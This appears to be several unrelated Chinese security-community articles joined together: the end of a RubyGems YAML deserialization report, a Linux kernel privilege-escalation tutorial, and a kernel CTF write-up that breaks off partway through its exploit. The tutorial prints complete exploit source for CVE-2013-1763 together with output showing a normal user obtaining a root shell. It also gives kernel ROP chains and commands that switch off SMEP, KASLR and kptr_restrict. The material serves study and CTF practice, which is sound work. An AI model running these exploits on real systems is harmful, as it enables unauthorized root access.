最后，由于Gem::Package::TarReader定义了“include
Enumerable”，调用其#sort方法的对象还会调用其#each方法，并开启上述的整个攻击链。
**
**
**总结**
对我来说，这一次的研究让我深刻地意识到了YAML其功能强大之处。在将来，YAML.load方法很可能会被修改成只允许接收白名单中定义的类来当作可选参数了，而这也会让对复杂对象的反序列化操作变成了一种可选行为。
就目前的情况来看，YAML.load方法确实应该改名为YAML.unsafe_load之类的，这样一来广大用户在使用这个方法的时候就会知道它其实是一种非常不安全的方法，而用户应该使用的是YAML.safe_load…:D
最后，感谢rubygems.org的团队能够对我提交的安全报告予以快速响应，如果他们没有设立这样一个高效的[[漏洞奖励计划](https://hackerone.com/rubygems)](https://hackerone.com/rubygems)的话，这是不可能办到的，这一点值得其他社区项目团队以及大型企业学习。 | 社区文章 |
## **0x00 前言**
花了一个月的时间开始学习linux内核提权，把学到的东西都整理在这了~前面介绍了关于内核提权的一些基础知识，后面会分析一个具体的漏洞。
## 0x01 内核提权
#### 分级保护域
在计算机中用于在发生故障时保护数据，提升计算机安全的一种方式，通常称为保护环，简称Rings。在一些硬件或者微代码级别上提供不同特权态模式的CPU架构上，保护环通常都是硬件强制的。Rings是从最高特权级（通常被叫作0级）到最低特权级（通常对应最大的数字）排列的。linux使用了ring0和ring3，ring0用于内核代码和驱动程序，ring3用于用户程序运行。
#### 提权
在内核中想要获得root权限不能只是用`system("/bin/sh");`而是用下面的语句：
commit_creds(prepare_kernel_cred (0));
这个函数分配并应用了一个新的凭证结构（uid = 0, gid = 0）从而获取root权限。
## 0x02 内核保护措施
#### SMEP
管理模式执行保护。
保护内核使其不允许执行用户空间代码。也就是防止ret2usr攻击，后文会讲解ret2usr相关知识。
检查smep是否开启：
cat /proc/cpuinfo | grep smep
smep位于CR4寄存器的第20位，设置为1。CR4寄存器的值：`0x1407f0 = 0001 0100 0000 0111 1111 0000`。
关闭SMEP方法
修改`/etc/default/grub`文件中的GRUB_CMDLINE_LINUX=""，加上nosmep/nosmap/nokaslr，然后`update-grub`就好。
GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr"
sudo update-grub
#### KASLR
内核地址空间随机化。
#### 内核地址显示限制
即kptr_ restrict指示是否限制通过/ proc和其他接口暴露内核地址。
* 0：默认情况下，没有任何限制。
* 1：使用％pK格式说明符打印的内核指针将被替换为0，除非用户具有CAP_ SYSLOG特权
* 2：使用％pK打印的内核指针将被替换为0而不管特权。
也就是说，我们不能直接通过`cat /proc/kallsyms`来获得commit_creds的地址：
要禁用该限制使用下面的命令：
`sudo sysctl -w kernel.kptr_restrict=0`
## 0x03 ret2usr攻击
ret2usr(return-to-usr)利用了用户空间进程不能访问内核空间，但是内核空间能访问用户空间这个特性来重定向内核代码或数据流指向用户空间，并在非root权限下进行提权。
将损坏的代码或数据指针重定向到用户空间中：
|----------------------| |----------------------|
| Function ptr |<== high mem ==>| sreuct vulu_opos |
|----------------------| | *dptr; |
| | |----------------------|
|----------------------| 内核空间 | |
| Data struct ptr | | |
|----------------------| | |
|----------------------|--------------------------|----------------------|
|----------------------| | struct vuln_ops{ |
| Data struct | | void(*a)(); |
|----------------------| 用户空间 | int b; |
| | |...}; |
|----------------------| |----------------------|
| escalate_privs() |<== low mem ==>| escalate_privs() |
|----------------------| |----------------------|
* 找一个函数指针来覆盖。
* 在这里我们通常使用ptmx_fops->release()这个指针来指向要重写的内核空间。在内核空间中，ptmx_fops作为静态变量存在，它包含一个指向/ dev / ptmx的file_operations结构的指针。 file_operations结构包含一个函数指针，当对文件描述符执行诸如读/写操作时，该函数指针被执行。
* 在用户空间中使用mmap提权payload，分配新的凭证结构：
int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
commit_creds = 0xffffffffxxxxxxxx;
prepare_kernel_cred = 0xffffffffxxxxxxxx;
void escalate_privs() { commit_creds(prepare_kernel_cred(0)); } //获取root权限
> stuct cred —— cred的基本单位
> prepare_kernel_cred —— 分配并返回一个新的cred
> commit_creds —— 应用新的cred
* 在用户空间创建一个新的结构体“A”。
* 用提权函数指针来覆盖这个"A"的指针。
* 触发提权函数，执行iretq返回用户空间，执行system("/bin/sh")提权
## 0x04 内核ROP
多数情况下系统是会开启SMEP的，这时候就不能使用ret2usr了，可以使用内核ROP技术来绕过SMEP。
内核空间的ROP和用户空间的ROP其实差不多，但是内核传参一般是通过寄存器而不是栈，而且内核并不和用户空间共用一个栈。
我们构建一个ROP链让它执行上面的内核提权操作，但是不执行在用户空间的任何指令。
构造的ROP链结构一般是这样的：
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret |
|----------------------|
| addr of |
| commit_creds() |<== high mem
|----------------------|
先将函数的第一个参数传入rdi寄存器中，然后ROP链中的第一条指令从堆栈中弹出空值，将这个值传递给prepare_kernel_cred()函数。然后将指向一个新的凭证结构的指针存储在rax中，并执行mov
rdi, rax操作，再把这个rdi作为参数传递给commit_creds()。这样就实现了一个提权ROP链。
同用户空间的ROP一样我们还是需要找gadget，内核空间的gadget也是可以简单地从内核二进制文件中提取的。
首先使用extract-vmlinux脚本来解压`/boot/vmlinuz*`这个压缩内核镜像。extract-vmlinux位于`/usr/src/linux-headers-3.13.0-32/scripts`目录。
用这个命令解压vmlinuz并保存到vmlinux：
sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
之后就可以用ROPgadget来获取gadget了，最好是一次性把gadget都写到一个文件中。
ROPgadget --binary vmlinux > ~/ropgadget
根据前面我们构造的ROP链，要找pop rdi; ret和mov rdi, rax;
ret这俩gadget，但是在vmlinux里并没有后面这个gadget，只找到下面的：
0xffffffff81016bc5 : pop rdi ; ret
0xffffffff810e00d1 : pop rdx ; ret
0xffffffff8118e3a0 : mov rdi, rax ; call r10
0xffffffff8142b6d1 : mov rdi, rax ; call r12
0xffffffff8130217b : mov rdi, rax ; call r14
0xffffffff81d48ba6 : mov rdi, rax ; call r15
0xffffffff810d5f34 : mov rdi, rax ; call r8
0xffffffff8117f534 : mov rdi, rax ; call r9
0xffffffff8133ed6b : mov rdi, rax ; call rbx
0xffffffff8105f69f : mov rdi, rax ; call rcx
0xffffffff810364bf : mov rdi, rax ; call rdx
只好调整最初的ROP链，用mov rdi, rax ; call rdx和pop rdx;
ret代替原来的。用call来执行commit_creds()，而rdi就指向新的凭证结构。
ROP链如下：
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret |
|----------------------|
| addr of |
| commit_creds() |
|----------------------|
| mov rdi, rax ; |
| call rdx |<== high mem
|----------------------|
#### Stack Pivot
由于我们只能在内核空间执行代码，但是不能把ROP链放到内核空间中，所以只能把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。这样就能从用户空间获取指针到内核空间了。
怎么放？用Stack Pivot-->;
mov rXx, rsp ; ret
add rsp, ...; ret
xchg rXx, rsp ; ret(xchg eXx, esp ; ret)
xchg rsp, rXx ; ret(xchg esp, eXx ; ret)
在64位的系统中使用这里的xchg rXx, rsp ; ret（xchg rsp, rXx ; ret）32位的寄存器，即xchg eXx, esp;
ret或xchg esp, eXx ;
ret。这样做其实是当rXx中包含有效的内核内存地址时，就把rXx的低32位设置为新的栈指针。（rax也被设置为rsp的低32位）
之后我们还需要返回到用户空间里执行代码，用下面的两个指令：
swapgs
iretq
使用iretq指令返回到用户空间，在执行iretq之前，执行swapgs指令。该指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序。
iretq的堆栈布局如下：
|----------------------|
| RIP |<== low mem
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
新的用户空间指令指针(RIP)，用户空间堆栈指针(RSP)，代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。
最终构造的rop链是这样的：
|----------------------|
| pop rdi; ret |<== low mem
|----------------------|
| NULL |
|----------------------|
| addr of |
| prepare_kernel_cred()|
|----------------------|
| pop rdx; ret |
|----------------------|
| addr of |
| commit_creds() |
|----------------------|
| mov rdi, rax ; |
| call rdx |
|----------------------|
| swapgs; |
| pop rbp; ret |
|----------------------|
| 0xdeadbeefUL |
| iretq; |
|----------------------|
| shell |
|----------------------|
| CS |
|----------------------|
| EFLAGS |
|----------------------|
| RSP |
|----------------------|
| SS |<== high mem
|----------------------|
还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP，然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。
构造下面的的结构，ROP链也像上面那样构造就行了：
offset of rip
pop rdi; ret
mov CR4, rdi; ret
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS
关于具体的内核ROP可以查看这篇[文章](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---\(Part-1)
分了两篇，写得非常好，而且写了漏洞驱动来实践，感兴趣的可以跟进试试。
## 0x05 CVE-2013-1763漏洞分析
在exploit-db上找了比较典型的本地提权漏洞[exp](https://www.exploit-db.com/exploits/33336/)
，接下来将详细分析并复现这个漏洞。
#### 漏洞描述
本地提权漏洞。在net/core/sock_diag.c中，__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查，导致数组越界访问，从而可执行任意代码。
#### 影响范围
linux kernel 3.3-3.8
#### patch
可以看到patch只是在__sock_diag_rcv_msg函数里加上了数组边界判断。
#### 漏洞函数
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family); //传入sdiag_family的值,返回数组指针sock_diag_handlers[reg->sdiag_family].但是没有做边界判断，可能导致越界。
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh); //可以利用这个来执行任意代码
sock_diag_unlock_handler(hndl);
return err;
}
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
if (sock_diag_handlers[family] == NULL)
request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
NETLINK_SOCK_DIAG, family);
mutex_lock(&sock_diag_table_mutex);
return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,也就是当family >= AF_MAX时数组越界
}
static struct sock_diag_handler *sock_diag_handlers[AF_MAX];
#### 漏洞利用分析
首先我们需要知道如何才能在上面的漏洞下断点然后执行到里面去。查看`net/core/sock_diag.c`源码发现它使用了netlink.h头文件，我们可以利用netlink协议来创建socket并发送数据触发断点。
查看netlink数据包结构：
Netlink套接字用于在进程和内核空间之间传递信息。它传达的每个netlink消息的应用程序必须提供以下变量：
struct nlmsghdr {
__u32 nlmsg_len; /*包含标题的消息长度。*/
__u16 nlmsg_type; /*消息内容的类型。*/
__u16 nlmsg_flags; /*其他标志。*/
__u32 nlmsg_seq; /* 序列号。*/
__u32 nlmsg_pid; /*发送进程的PID。*/
};
根据其结构体编写代码：
struct { //netlink数据包格式
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
//创建netlink协议的socket
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
//填充数据包使其能执行到__sock_diag_rcv_msg
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
我们要获取root权限，前面说了，不能直接直接使用`system("/bin/sh");` 用kernel_code函数来重新分配一个新的凭证结构：
int __attribute__((regparm(3)))
kernel_code(){
commit_creds(prepare_kernel_cred(0));
return -1; }
但是我们还需要考虑如何将这段代码放到内存中并执行，将family的值设置为多少才能返回到我们所需要的结构体。
查看下面结构体：
struct sock_diag_handler {
__u8 family;//
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh); //利用dump指针
};
/*net/netlink/af_netlink.c下定义的结构体*/
struct netlink_table {
struct nl_portid_hash hash;
struct hlist_head mc_list;
struct listeners __rcu *listeners;
unsigned int flags;
unsigned int groups;
struct mutex *cb_mutex;
struct module *module;
void (*bind)(int group);
int registered;
};
static struct netlink_table *nl_table;
struct nl_portid_hash {
struct hlist_head *table;
unsigned long rehash_time;
unsigned int mask;
unsigned int shift;
unsigned int entries;
unsigned int max_shift;
u32 rnd;
};
经调试，我们发现rehash_time这个值一直在`0x10000-0x130000`这个范围内，那么我们就可以设置family的值取到nl_table.hash就可以了。
用`cat /proc/kallsyms`查看结构体的地址并计算相对偏移（如果系统开启了内核地址显示限制可以用这个命令禁用`$ sudo sysctl -w
kernel.kptr_restrict=0`）：
edvison@edvison:~$ cat /proc/kallsyms | grep commit_creds
c10600a0 T commit_creds
c17b0f1c r __ksymtab_commit_creds
c17bcfb8 r __kcrctab_commit_creds
c17c500a r __kstrtab_commit_creds
edvison@edvison:~$ cat /proc/kallsyms | grep prepare_kernel_cred
c1060360 T prepare_kernel_cred
c17b49fc r __ksymtab_prepare_kernel_cred
c17bed28 r __kcrctab_prepare_kernel_cred
c17c4fce r __kstrtab_prepare_kernel_cred
edvison@edvison:~$ cat /proc/kallsyms | grep nl_table
c1852888 d nl_table_lock
c185288c d nl_table_wait
c19a00c8 b nl_table_users
c19a00cc b nl_table
edvison@edvison:~$ cat /proc/kallsyms | grep sock_diag_handlers
c199ff40 b sock_diag_handlers
计算family值：
family = (nl_table - sock_diag_handlers)/4 = (c19a00cc - c199ff40)/4 = 99L
得到family的值后，就可以在0x10000-0x130000这个范围里mmap一块内存，在前面填充满nop,然后把我们的提权代码kernel_code()放到这块区域的最后面，这样就使得只要跳转到这块区域就能够一路执行到我们的提权代码。jmp_payload代码如下：
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
编译后，objdump查看这段函数：
编写payload，然后替换进kernel_code。
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
*asd = (unsigned long)kernel_code;
完整exp如下：
/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //获取root权限
kernel_code()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
//req.r.sdiag_family = 99;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
if(argc==1){
printf("Run: %s Fedora|Ubuntu\n",argv[0]);
return 0;
}
else if(strcmp(argv[1],"Fedora")==0){
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table");
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!\n");
exit(1);
}
family = (nl_table - sock_diag_handlers) / 4;
printf("family=%d\n",family);
req.r.sdiag_family = family;
if(family>255){
printf("nl_table is too far!\n");
exit(1);
}
}
else if(strcmp(argv[1],"Ubuntu")==0){
commit_creds = (_commit_creds) 0xc10600a0;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc1060360;
req.r.sdiag_family = 99; //c19a00cc - c199ff40 = nl_table - sock_diag_handlers = 99L
}
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000;
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
*asd = (unsigned long)kernel_code;
//把jump_payload放进mmap的内存的最后
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
printf("uid=%d, euid=%d\n",getuid(), geteuid() );
system("/bin/sh");
}
编译测试结果：
edvison@edvison:~$ uname -a
Linux edvison 3.8.0 #1 SMP Wed Feb 14 21:38:25 CST 2018 i686 i686 i686 GNU/Linux
edvison@edvison:~$ id
uid=1000(edvison) gid=1000(edvison) 组=1000(edvison),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(kvm),130(libvirtd)
edvison@edvison:~$ gcc -g cve-2013-1763.c -o cve-2013-1763 -I /home/edvison/linux-3.8/
cve-2013-1763.c: In function ‘main’:
cve-2013-1763.c:148:23: warning: initialization from incompatible pointer type
unsigned long *asd = &jump[4]; //将\x11全部替换成kernel_code
^
edvison@edvison:~$ ./cve-2013-1763 Ubuntu
mmapping at 0x10000, size = 0x120000
uid=0, euid=0
# id
uid=0(root) gid=0(root) 组=0(root)
# exit
#### 0x06 参考链接
绕过smep：<http://cyseclabs.com/slides/smep_bypass.pdf>
ret2dir：<http://www.cnblogs.com/0xJDchen/p/6143102.html>
内核ROP第一部分：<https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/>
内核ROP第二部分：<https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/>
cve-2013-1763 exploit：<https://www.exploit-db.com/exploits/33336/>
cve-2013-1763 exploit 代码分析 ：<https://my.oschina.net/fgq611/blog/181812>
netlink机制：<http://www.cnblogs.com/iceocean/articles/1594195.html> | 社区文章 |
# Linux Kernel 初探（一）BabyKernel
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面
这篇博客是记录入门 Linux kernel 的心得和体会，一直以来对内核知识都较为感兴趣，下面就开始第一个 kernel pwn 的旅程（题目来自于
TSCTF 天枢-17）
## 相关链接
【+】题目：<https://drive.google.com/open?id=1B5EKTB3c2sYHg26f_tvxejrP0HFzj1Qi>
【+】 <https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/basic_knowledge/>
【+】 <http://p4nda.top>
【+】 <https://sunichi.github.io>
## 题目描述
解压[题目](https://drive.google.com/open?id=1B5EKTB3c2sYHg26f_tvxejrP0HFzj1Qi)我们可以拿到以下文件:
p1umer@ubuntu:~/kernel/give_to_player$ ls -l
total 5516
-rwxr-xr-x 1 p1umer p1umer 202 May 9 00:09 boot.sh
-rw-r--r-- 1 p1umer p1umer 4127776 May 9 00:09 bzImage
-rw-r--r-- 1 p1umer p1umer 1514482 May 9 04:35 initramfs.img
将initramfs.img后缀改为.cpio后用ubuntu再次解压可以得到如下文件：
在poc文件夹内找到tshop.ko文件，使用IDA分析：
其中可以观察到，主要函数有三个：
* tshop-ioctl
* tshop-init
* tshop-exit
其中核心函数是 tshop-ioctl 需要重点分析，我们后面会具体分析这个函数
## 调试以及数据交互
### 程序启动以及调试
题目包含了一个 qemu 的启动脚本如下：
#!/bin/sh
qemu-system-x86_64
-kernel bzImage
-nographic
-append "rdinit=/linuxrc console=ttyS0 oops=panic panic=1"
-m 128M
-cpu qemu64,smap,smep -initrd initramfs.img
-smp cores=1,threads=1 2>/dev/null
可以看到其中如果选择开启kaslr则需要在 -append 选项后面加上kaslr即可
如果选择gdb调试，则需要加上：`-gdb tcp::4869 -S` （其中-S为挂起等待），对应的gdb脚本：
gdb
-ex "add-auto-load-safe-path $(pwd)"
-ex "file vmlinux"
-ex 'set arch i386:x86-64:intel'
-ex 'target remote localhost:4869'
-ex 'continue'
-ex 'disconnect'
-ex 'set arch i386:x86-64'
-ex 'target remote localhost:4869'
### EXP编写以及数据交互
Kernel Pwn 如何和驱动模块进行交互呢？
驱动处理预期流程是：
* 用户态调用驱动触发状态切换
* 进入内核态内核态响应用户请求
* 处理数据返回结果
* 切换回用户态
那么如何在用户态调用驱动呢？
首先，对一个字符设备而言有如下结构体：
struct file_operations d_fops = {
.owner = THIS_MODULE,
.open = d_open,
.read = d_read,
.write = d_write,
.ioctl = d_ioctl,
.release = d_release,
};
该结构体展示了部分文件操作对应的函数指针。如读该设备时会调用d_open函数。从该结构体我们可以看出其实现了用户与内核驱动交互的接口，同时也就自然成为了内核攻击面之一。具体的调用方法为：
int main(int argc, char *argv[]){
int fd = open("/dev/tshop",0);
//debug();
ioctl(fd,MALLOC,0);
}
* fd打开设备
* 通过ioctl进行具体的交互（或者该驱动注册的其他处理函数）
好了，可以实现和驱动模块的交互后，我们就可以用c语言来编写相应的exploit了。但是在这之前，我们先了解一下内核的一些保护模式
## 缓释机制
### mmap_min_addr
指定用户进程通过mmap可使用的最小虚拟内存地址，以避免其在低地址空间产生映射导致安全问题。
### kptr_restrict / dmesg_restrict
在linux内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权，它们的地址可以从/proc/kallsyms中读取。/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。dmesg_restrict限制非特权读dmesg（Restrict
unprivileged access to kernel syslog）
### SMEP/SMAP
SMEP(Supervisor Mode Execution Prevention，管理模式执行保护)和SMAP(Supervisor Mode
Access Prevention，管理模式访问保护)，其作用分别是禁止内核执行用户空间的代码和禁止内核访问用户空间的数据。
## 程序分析
前面提到，ida打开.ko文件得到如下内容：
可以得到如下信息：
* 程序实现了kmalloc；kfree；edit1；edit2
* 程序维护了一个BUY_LIST用来存放kmen_cache_alloc分配的堆块
* malloc的时候会把堆块写成特定值
* 两个edit函数改指针为固定值
* 有一个看起来没有参数的 kfree
等等，kfree没有参数？让我们仔细分析它：
嗯，参数还是有的。但是这里面在释放完毕BUY_LIST里的堆块之后并没有清空，也就是说我们得到了一个UAF!
## 调试判断 Cred 结构体大小
若要达到提权权限，则需要修改权限信息。kernel记录了线程的权限，更具体的，是用 cred
结构体记录的，每个线程中都有一个cred结构，这个结构保存了该进程的权限等信息（uid，gid等），如果能修改某个进程的cred，那么也就修改了这个进程的权限。所以我们需要得到Cred结构体大小，以便为后面的
exploit 拓展思路。
首先打开源码查看cred结构体定义
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* cached user->user_ns */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
emmm，直接判断大小貌似有点困难，调试一下好了。
注意,由于系统开启了kptr_restrict，我们无法看到一些地址信息，所以我们需要关闭。
【关闭 kptr_restrict】：修改解压后的 /etc/.init/rcS 文件中的
`echo 1 > /proc/sys/kernel/kptr_restrict` 为 `echo 0 >
/proc/sys/kernel/kptr_restrict`
这时候就可以得到一些我们感兴趣的地址：
【kmem_cache_alloc】：`cat /proc/kallsyms |grep kmem_cache_alloc`
【kfree】：`cat /proc/kallsyms |grep kfree`
【prepare_cred】：`cat /proc/kallsyms | grep prepare_cred`
【tshop的bss地址】：`cat /sys/module/tshop/sections/.bss`
另外，我们在用户态执行fork函数的时候，可以调用内核prepare_cred来创建cred结构体提供给新进程的新线程。
所以我们编写一个简单的demo.c:
/*
* main.c
* Copyright (C) 2019 P1umer <[email protected]>
*
*/
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>
#define MALLOC 0x271A
#define FREE 0x2766
#define EDIT1 0x1A0A
#define EDIT2 0x22B8
pid_t pid;
void debug(){
getchar();
}
int main(int argc, char *argv[]){
int fd = open("/dev/tshop",0);
debug();
ioctl(fd,MALLOC,0);
fork()；
}
【编译】：`gcc exp.c -o exp --static -lpthread`
【打包】：打包命令为：`find . | cpio -o --format=newc > ../initramfs.img`
值得注意的是，我们因为调试的是内核，在内核中有很多的kmem_cache_alloc && prepare_cred && kfree
调用，因此我们只希望在 poc 调用内核这些函数的时候进行下断调试，因此getchar()是必要的。
启动 gdb+qemu 调试，断在 prepare_cred：
调用了`0xffffffff810d3251`，查看函数名：
$ cat /proc/kallsyms | grep "ffffffff810d3251"
ffffffff810d3251 T kmem_cache_alloc
可以看到 prepare_cred 函数实际调用了 kmem_cache_alloc 来申请cred的空间，大小通过 $rsi 传参，为
0xd0。惊奇的发现，居然和我们ioctl操作中kmem_cache_alloc申请的大小一致 🙂
## Exploit
上面提到有了一个UAF并且cred结构体大小和驱动malloc操作申请的堆块大小一致，那么接下来的事情就好办多了，在这之前先了解一下kernel里面的memory_management：
【+】<http://www.wowotech.net/memory_management/247.html>
slab分配器的管理手段类似于 Glibc 中的 FastbinY。如果free链表内的chunk大小和该内核版本的 cred
结构体大小相同，那么会把free链表中的chunk解链返回给 cred。
于是我们就可以通过doublefree来进行提权：
* doublefree
* 得到cred结构体后通过两次malloc修改cred结构体中的值为特定的值（上面的ida分析有提到），恰好可以达到 root 要求
这个地方遇到了一点困难：由于驱动的堆内存和内核的内存是共享的，在得到 cred 的同时会把cred的信息写入该内存，也就是说
* 在我们准备doublefree之前：
* 把cred写入最末尾的chunk
内核下一次申请的时候就会申请到非法地址，PANIC!
但是如果我们在系统申请非法地址之前讲free链表扩充到足够大是不是就可以让系统迟一点申请到非法地址呢? 我们来试一试：
编写exp.c(ugly code):
/*
* main.c
* Copyright (C) 2019 P1umer <[email protected]>
*
*/
// gcc exp.c -o exp --static -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
